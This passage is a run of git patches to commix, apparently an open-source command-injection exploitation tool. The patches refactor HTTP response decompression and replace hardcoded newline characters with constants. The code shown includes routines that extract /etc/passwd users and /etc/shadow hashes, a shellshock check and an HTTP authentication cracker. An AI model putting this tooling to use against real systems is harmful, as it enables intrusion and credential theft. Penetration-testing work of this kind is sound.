a07723511c..1622503df4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "107" +REVISION = "108" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From cd3ac4a8fd25ab2765d613f6d0fa2361a50dceb8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 3 Oct 2025 06:51:09 +0300 Subject: [PATCH 0636/1023] Refactored with improved page decompression and safer HTTP response handling --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 55 ++++++++++++-------- src/core/injections/controller/controller.py | 4 +- src/core/injections/controller/handler.py | 2 +- src/core/injections/controller/injector.py | 10 ++-- src/core/modules/shellshock/shellshock.py | 2 +- src/core/requests/headers.py | 4 +- src/utils/crawler.py | 4 +- src/utils/settings.py | 2 +- 9 files changed, 47 insertions(+), 37 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1164d8da19..de552218df 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Refactored with improved page decompression and safer HTTP response handling. * Revised: Refactored OS looping to respect user-specified targets or automatically iterate over supported OSes if none are specified or detected. * Revised: Refactored User-Agent strings to be loaded from external files rather than being hardcoded. * Revised: Improved handling of URL redirections and associated HTTP responses. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d32499e340..d4347b60ff 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -27,6 +27,7 @@ import zlib import traceback import subprocess +import contextlib from glob import glob from src.utils import common from src.utils import logs @@ -674,45 +675,53 @@ def normalize_newlines(payload): return payload """ -Page enc/decoding +Process HTTP response content: handle decompression and encode/decode page content. """ -def page_encoding(response, action): +def process_page_content(response, action): try: page = response.read() except _http_client.IncompleteRead as err_msg: requests.request_failed(err_msg) page = err_msg.partial - if response.info().get('Content-Encoding') in ("gzip", "x-gzip", "deflate"): + + # Handle compressed content + content_encoding = response.info().get('Content-Encoding') + if content_encoding in ("gzip", "x-gzip", "deflate"): try: - if response.info().get('Content-Encoding') == 'deflate': - data = io.BytesIO(zlib.decompress(page, -15)) - elif response.info().get('Content-Encoding') == 'gzip' or \ - response.info().get('Content-Encoding') == 'x-gzip': - data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) - page = data.read() + if content_encoding == 'deflate': + # zlib decompression; -15 for raw deflate + page = zlib.decompress(page, -15) + else: # gzip / x-gzip + with contextlib.closing(gzip.GzipFile(fileobj=io.BytesIO(page), mode='rb')) as gz: + page = gz.read() settings.PAGE_COMPRESSION = True - except Exception as e: - if settings.PAGE_COMPRESSION is None: - warn_msg = "Turning off page compression." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - settings.PAGE_COMPRESSION = False - _ = False + except (zlib.error, OSError, EOFError) as e: + # Only catch relevant decompression errors + warn_msg = "Page decompression failed, turning off page compression." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.PAGE_COMPRESSION = False + + # Encode or decode page content + error_occurred = False try: - if action == "encode" and type(page) == str: + if action == "encode" and isinstance(page, str): return page.encode(settings.DEFAULT_CODEC, errors="replace") else: return page.decode(settings.DEFAULT_CODEC, errors="replace") except (UnicodeEncodeError, UnicodeDecodeError) as err: err_msg = "The " + str(err).split(":")[0] + ". " - _ = True + error_occurred = True except (LookupError, TypeError) as err: err_msg = "The '" + settings.DEFAULT_CODEC + "' is " + str(err).split(":")[0] + ". " - _ = True - pass - if _: - err_msg += "You are advised to rerun with" - err_msg += ('out', '')[menu.options.codec == None] + " option '--codec'." - settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg))) + error_occurred = True + + # If there was an error, advise the user + if error_occurred: + err_msg += "You are advised to rerun with " + if menu.options.codec is None: + err_msg += "out " + err_msg += "option '--codec'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index fc15459b5f..b043c5335c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -158,7 +158,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, _ = _ + 1 response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) if type(response) is not bool and response is not None: - html_data = checks.page_encoding(response, action="decode") + html_data = checks.process_page_content(response, action="decode") match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: settings.IDENTIFIED_COMMAND_INJECTION = True @@ -195,7 +195,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t for payload in settings.PHPINFO_CHECK_PAYLOADS: response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) if type(response) is not bool and response is not None: - html_data = checks.page_encoding(response, action="decode") + html_data = checks.process_page_content(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) if match: technique = technique + " (possible PHP version: '" + match.group(1) + "')" diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 7f4f0840e4..ca4e0013ee 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -566,7 +566,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if type(response) is bool: html_data = "" else: - html_data = checks.page_encoding(response, action="decode") + html_data = checks.process_page_content(response, action="decode") shell = re.findall(r"" + TAG + "", str(html_data)) if len(shell) == 0 : raise _urllib.error.HTTPError(url, int(settings.NOT_FOUND_ERROR), 'Error', {}, None) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index b9640880f2..47920f1397 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -469,7 +469,7 @@ def injection_test_results(response, TAG, randvcalc, technique): except: # Python 2 unescape = _html_parser.HTMLParser().unescape # Check the execution results - html_data = checks.page_encoding(response, action="decode") + html_data = checks.process_page_content(response, action="decode") html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) @@ -483,7 +483,7 @@ def injection_test_results(response, TAG, randvcalc, technique): if len(shell) > 1: shell = shell[0] else: - html_data = checks.page_encoding(response, action="decode") + html_data = checks.process_page_content(response, action="decode") html_data = re.sub("\n", settings.SINGLE_WHITESPACE, html_data) if settings.SKIP_CALC: shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) @@ -506,7 +506,7 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times false_result = False try: # Grab execution results - html_data = checks.page_encoding(response, action="decode") + html_data = checks.process_page_content(response, action="decode") html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) @@ -547,7 +547,7 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Grab execution results - html_data = checks.page_encoding(response, action="decode") + html_data = checks.process_page_content(response, action="decode") html_data = re.sub("\n", new_line, html_data) shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) try: @@ -567,7 +567,7 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times shell = "" else: try: - shell = checks.page_encoding(response, action="encode").rstrip().lstrip() + shell = checks.process_page_content(response, action="encode").rstrip().lstrip() #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] if settings.TARGET_OS == settings.OS.WINDOWS: shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index c4223d375f..5b25c38b0b 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -555,7 +555,7 @@ def check_for_shell(url, cmd, cve, check_header, filename): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if check_header == settings.USER_AGENT: menu.options.agent = default_user_agent - shell = checks.page_encoding(response, action="decode").rstrip().replace('\n',' ') + shell = checks.process_page_content(response, action="decode").rstrip().replace('\n',' ') shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) shell = ''.join(shell) return shell, payload diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 9f427a4032..c307e7bf8e 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -236,7 +236,7 @@ def https_open(self, req): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) code = response.getcode() response_headers = response.info() - page = checks.page_encoding(response, action="encode") + page = checks.process_page_content(response, action="encode") response_headers[settings.URI_HTTP_HEADER] = response.geturl() response_headers = str(response_headers).strip("\n") # Handle server-set cookies. @@ -257,7 +257,7 @@ def https_open(self, req): try: if getattr(err, 'fp', None) is None: raise AttributeError - page = checks.page_encoding(err, action="encode") + page = checks.process_page_content(err, action="encode") except Exception: page = '' response_headers = err.info() diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 19da0478ef..fe32283fbb 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -135,7 +135,7 @@ def sitemap(url, http_request_method): url = url + "/" url = _urllib.parse.urljoin(url, settings.SITEMAP_XML_FILE) response = request(url, http_request_method) - content = checks.page_encoding(response, action="decode") + content = checks.process_page_content(response, action="decode") for match in re.finditer(r"\s*([^<]+)", content or ""): url = match.group(1).strip() if url not in sitemap_loc: @@ -245,7 +245,7 @@ def do_process(url, http_request_method): # Grab the crawled hrefs. try: response = request(url, http_request_method) - content = checks.page_encoding(response, action="decode") + content = checks.process_page_content(response, action="decode") match = re.search(r"(?si)]*>(.+)", content) if match: content = "%s" % match.group(1) diff --git a/src/utils/settings.py b/src/utils/settings.py index 1622503df4..cdc40556f2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "108" +REVISION = "109" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 72601adb4aa1b94d433b9df77fc2831c81b5bc0c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 7 Oct 2025 06:49:27 +0300 Subject: [PATCH 0637/1023] Trivial update --- src/core/injections/controller/checks.py | 2 +- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d4347b60ff..8418de246c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2709,7 +2709,7 @@ def check_file_to_write(): if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", settings.SINGLE_WHITESPACE) for line in content_file] + content = [line.replace(settings.END_LINE.CRLF, "\n").replace("\r", "\n").replace("\n", settings.SINGLE_WHITESPACE) for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == settings.OS.WINDOWS: import base64 diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index c307e7bf8e..b05e3e848a 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -131,7 +131,7 @@ def check_http_traffic(request): class connection(http_client): def send(self, req): headers = req.decode() - request_http_headers = str(headers).split("\r\n") + request_http_headers = str(headers).split(settings.END_LINE.CRLF) unique_request_http_headers = [] [unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers] request_http_headers = [x for x in unique_request_http_headers if x] diff --git a/src/utils/settings.py b/src/utils/settings.py index cdc40556f2..19c6fee245 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "109" +REVISION = "110" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c38be53f0c9efb0b1c74c26aac4dbf085165b977 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 8 Oct 2025 06:45:35 +0300 Subject: [PATCH 0638/1023] Trivial update --- src/core/injections/controller/checks.py | 2 +- src/core/requests/authentication.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8418de246c..995a0e1d7d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2709,7 +2709,7 @@ def check_file_to_write(): if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: - content = [line.replace(settings.END_LINE.CRLF, "\n").replace("\r", "\n").replace("\n", settings.SINGLE_WHITESPACE) for line in content_file] + content = [line.replace(settings.END_LINE.CRLF, "\n").replace(settings.END_LINE.CR, "\n").replace("\n", settings.SINGLE_WHITESPACE) for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == settings.OS.WINDOWS: import base64 diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 0c0ea76f51..63f9b41de2 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -155,7 +155,7 @@ def http_auth_cracker(url, realm, http_request_method): if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing for valid HTTP authentication credentials." info_msg += float_percent - settings.print_data_to_stdout("\r\r" + settings.print_info_msg(info_msg)) + settings.print_data_to_stdout((settings.END_LINE.CR * 2) + settings.print_info_msg(info_msg)) if found: if not settings.LOAD_SESSION: diff --git a/src/utils/settings.py b/src/utils/settings.py index 19c6fee245..fc07a12dc9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "110" +REVISION = "111" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8f5c35b2a951f1ad26f3c684f78c3a60b45dd1fd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 13 Oct 2025 08:54:39 +0300 Subject: [PATCH 0639/1023] Trivial update regarding hardcoded newline replacement --- src/core/injections/controller/checks.py | 46 +++++++------- src/core/injections/controller/injector.py | 16 ++--- src/core/injections/controller/parser.py | 2 +- .../techniques/file_based/fb_payloads.py | 8 +-- src/core/modules/modules_handler.py | 2 +- src/core/modules/shellshock/shellshock.py | 2 +- src/core/requests/authentication.py | 2 +- src/core/requests/headers.py | 16 ++--- src/core/requests/parameters.py | 2 +- src/core/requests/requests.py | 2 +- src/core/shells/bind_tcp.py | 34 +++++----- src/core/shells/reverse_tcp.py | 62 +++++++++---------- src/utils/common.py | 24 +++---- src/utils/crawler.py | 2 +- src/utils/install.py | 2 +- src/utils/logs.py | 26 ++++---- src/utils/update.py | 2 +- 17 files changed, 125 insertions(+), 125 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 995a0e1d7d..4e07cafccb 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -654,10 +654,10 @@ def sanitize_payload_newlines(payload): or settings.HOST_INJECTION or settings.CUSTOM_HEADER_INJECTION ): - return payload.replace("\n", ";") + return payload.replace(settings.END_LINE.LF, ";") if settings.TARGET_OS != settings.OS.WINDOWS: - return payload.replace("\n", "%0d") + return payload.replace(settings.END_LINE.LF, "%0d") return payload @@ -812,7 +812,7 @@ def url_decode(payload): rep = { "%20": " ", "%2B": "+", - "\n": "\\n" + settings.END_LINE.LF: "\\n" } rep = dict((re.escape(k), v) for k, v in rep.items()) pattern = re.compile("|".join(rep.keys())) @@ -868,10 +868,10 @@ def escaped_cmd(cmd): """ def remove_empty_lines(content): try: - if content[0] == "\n": - content = content[1:content.rfind("\n")] - if content[-1] == "\n": - content = content[:content.rfind("\n")] + if content[0] == settings.END_LINE.LF: + content = content[1:content.rfind(settings.END_LINE.LF)] + if content[-1] == settings.END_LINE.LF: + content = content[:content.rfind(settings.END_LINE.LF)] except IndexError: pass return content @@ -2215,7 +2215,7 @@ def print_ps_version(ps_version, filename, _): # Add infos to logs file. with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: - info_msg = "Powershell version: " + ps_version + "\n" + info_msg = "Powershell version: " + ps_version + settings.END_LINE.LF output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) except ValueError: warn_msg = "Failed to identify the version of Powershell, " @@ -2236,7 +2236,7 @@ def print_hostname(shell, filename, _): # Add infos to logs file. with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: - info_msg = info_msg + "\n" + info_msg = info_msg + settings.END_LINE.LF output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Failed to identify the hostname." @@ -2254,7 +2254,7 @@ def print_current_user(cu_account, filename, _): # Add infos to logs file. with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: - info_msg = info_msg + "\n" + info_msg = info_msg + settings.END_LINE.LF output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Failed to fetch the current user." @@ -2277,7 +2277,7 @@ def print_current_user_privs(shell, filename, _): # Add infos to logs file. with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: - info_msg = info_msg + "\n" + info_msg = info_msg + settings.END_LINE.LF output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) """ Print OS info @@ -2291,7 +2291,7 @@ def print_os_info(target_os, target_arch, filename, _): # Add infos to logs file. with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: - info_msg = info_msg + "\n" + info_msg = info_msg + settings.END_LINE.LF output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Failed to fetch underlying operating system information." @@ -2371,7 +2371,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if count == 1 : - output_file.write("\n") + output_file.write(settings.END_LINE.LF) output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" ) else: # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) @@ -2391,7 +2391,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if sys_users: sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(settings.SINGLE_WHITESPACE)) <= 1 : - sys_users = sys_users.split("\n") + sys_users = sys_users.split(settings.END_LINE.LF) else: sys_users = sys_users.split(settings.SINGLE_WHITESPACE) # Check for appropriate '/etc/passwd' format. @@ -2458,8 +2458,8 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if count == 1 : - output_file.write("\n") - output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write(settings.END_LINE.LF) + output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'." + settings.END_LINE.LF) except ValueError: if count == 1 : warn_msg = "It seems '" + settings.PASSWD_FILE + "' file is not in the " @@ -2488,7 +2488,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi def print_passes(sys_passes, filename, _, alter_shell): if sys_passes == "": sys_passes = settings.SINGLE_WHITESPACE - sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, "\n").split() + sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, settings.END_LINE.LF).split() if len(sys_passes) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) @@ -2512,8 +2512,8 @@ def print_passes(sys_passes, filename, _, alter_shell): with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: if count == 1 : - output_file.write("\n") - output_file.write("(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.write(settings.END_LINE.LF) + output_file.write("(" +str(count)+ ") " + fields[0] + " : " + fields[1] + settings.END_LINE.LF) # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1 : @@ -2539,7 +2539,7 @@ def print_single_os_cmd(cmd, output, filename): try: with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "User-supplied command " + _ + ": " + str(output.encode(settings.DEFAULT_CODEC).decode()) + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "User-supplied command " + _ + ": " + str(output.encode(settings.DEFAULT_CODEC).decode()) + settings.END_LINE.LF) except TypeError: pass else: @@ -2672,7 +2672,7 @@ def file_read_status(shell, file_to_read, filename): with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: if not menu.options.no_logging: info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + "\n" + info_msg += file_to_read + "' : " + shell + settings.END_LINE.LF output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "It seems you do not have permission " @@ -2709,7 +2709,7 @@ def check_file_to_write(): if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: - content = [line.replace(settings.END_LINE.CRLF, "\n").replace(settings.END_LINE.CR, "\n").replace("\n", settings.SINGLE_WHITESPACE) for line in content_file] + content = [line.replace(settings.END_LINE.CRLF, settings.END_LINE.LF).replace(settings.END_LINE.CR, settings.END_LINE.LF).replace(settings.END_LINE.LF, settings.SINGLE_WHITESPACE) for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == settings.OS.WINDOWS: import base64 @@ -3152,7 +3152,7 @@ def msf_launch_msg(output): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) info_msg = "Once the loading is done, press here any key to continue..." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - sys.stdin.readline().replace("\n", "") + sys.stdin.readline().replace(settings.END_LINE.LF, "") # Remove the ouput file. os.remove(output) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 47920f1397..2a0d8b7324 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -113,7 +113,7 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa if settings.VERBOSITY_LEVEL == 0 : info_msg += ".. (" + str(percent) + ")" else: - info_msg += "\n" + info_msg += settings.END_LINE.LF if output_length > 1: settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) @@ -195,7 +195,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques if settings.VERBOSITY_LEVEL != 0: _ = cmd if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace(settings.END_LINE.LF, "\\n") if settings.COMMENT in payload_msg: payload = payload.split(settings.COMMENT)[0].strip() payload_msg = payload_msg.split(settings.COMMENT)[0].strip() @@ -470,7 +470,7 @@ def injection_test_results(response, TAG, randvcalc, technique): unescape = _html_parser.HTMLParser().unescape # Check the execution results html_data = checks.process_page_content(response, action="decode") - html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) + html_data = html_data.replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) html_data = unescape(html_data) @@ -484,7 +484,7 @@ def injection_test_results(response, TAG, randvcalc, technique): shell = shell[0] else: html_data = checks.process_page_content(response, action="decode") - html_data = re.sub("\n", settings.SINGLE_WHITESPACE, html_data) + html_data = re.sub(settings.END_LINE.LF, settings.SINGLE_WHITESPACE, html_data) if settings.SKIP_CALC: shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) else: @@ -507,7 +507,7 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times try: # Grab execution results html_data = checks.process_page_content(response, action="decode") - html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) + html_data = html_data.replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) html_data = unescape(html_data) @@ -548,14 +548,14 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Grab execution results html_data = checks.process_page_content(response, action="decode") - html_data = re.sub("\n", new_line, html_data) + html_data = re.sub(settings.END_LINE.LF, new_line, html_data) shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) try: if len(re.split(TAG + "(.*)" + TAG, shell[0])) != 0: shell = re.findall(r"" + new_line + "(.*)" + new_line + "", \ re.split(TAG + "(.*)" + TAG, \ re.split(TAG + "(.*)" + TAG, shell[0])[0])[0]) - shell = shell[0].replace(new_line, "\n").rstrip().lstrip() + shell = shell[0].replace(new_line, settings.END_LINE.LF).rstrip().lstrip() except IndexError: pass @@ -568,7 +568,7 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times else: try: shell = checks.process_page_content(response, action="encode").rstrip().lstrip() - #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] + #shell = [newline.replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) for newline in shell] if settings.TARGET_OS == settings.OS.WINDOWS: shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] #shell = [space.strip() for space in shell] diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 7a624c3dde..45c4249995 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -81,7 +81,7 @@ def invalid_data(request): if menu.options.requestfile or menu.options.logfile: c = 1 request_headers = [] - request_lines = request.split("\n") + request_lines = request.split(settings.END_LINE.LF) while c < len(request_lines) and len(request_lines[c]) > 0: x = request_lines[c].find(':') header_name = request_lines[c][:x].title() diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 6272e6a2d3..443ac73ac5 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -67,10 +67,10 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): settings.REFERER_INJECTION == True or \ settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True : - payload = payload.replace("\n", separator) + payload = payload.replace(settings.END_LINE.LF, separator) else: if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = payload.replace(settings.END_LINE.LF,"%0d") return payload @@ -130,10 +130,10 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): settings.REFERER_INJECTION == True or \ settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", separator) + payload = payload.replace(settings.END_LINE.LF, separator) else: if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = payload.replace(settings.END_LINE.LF,"%0d") return payload diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index c40006c673..5318effae5 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -33,6 +33,6 @@ def load_modules(url, http_request_method, filename): # The shellshock handler shellshock.shellshock_handler(url, http_request_method, filename) except ImportError as err_msg: - settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_critical_msg(err_msg)) raise SystemExit() raise SystemExit() \ No newline at end of file diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 5b25c38b0b..487a8e6161 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -555,7 +555,7 @@ def check_for_shell(url, cmd, cve, check_header, filename): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if check_header == settings.USER_AGENT: menu.options.agent = default_user_agent - shell = checks.process_page_content(response, action="decode").rstrip().replace('\n',' ') + shell = checks.process_page_content(response, action="decode").rstrip().replace(settings.END_LINE.LF,' ') shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) shell = ''.join(shell) return shell, payload diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 63f9b41de2..09f20f6f71 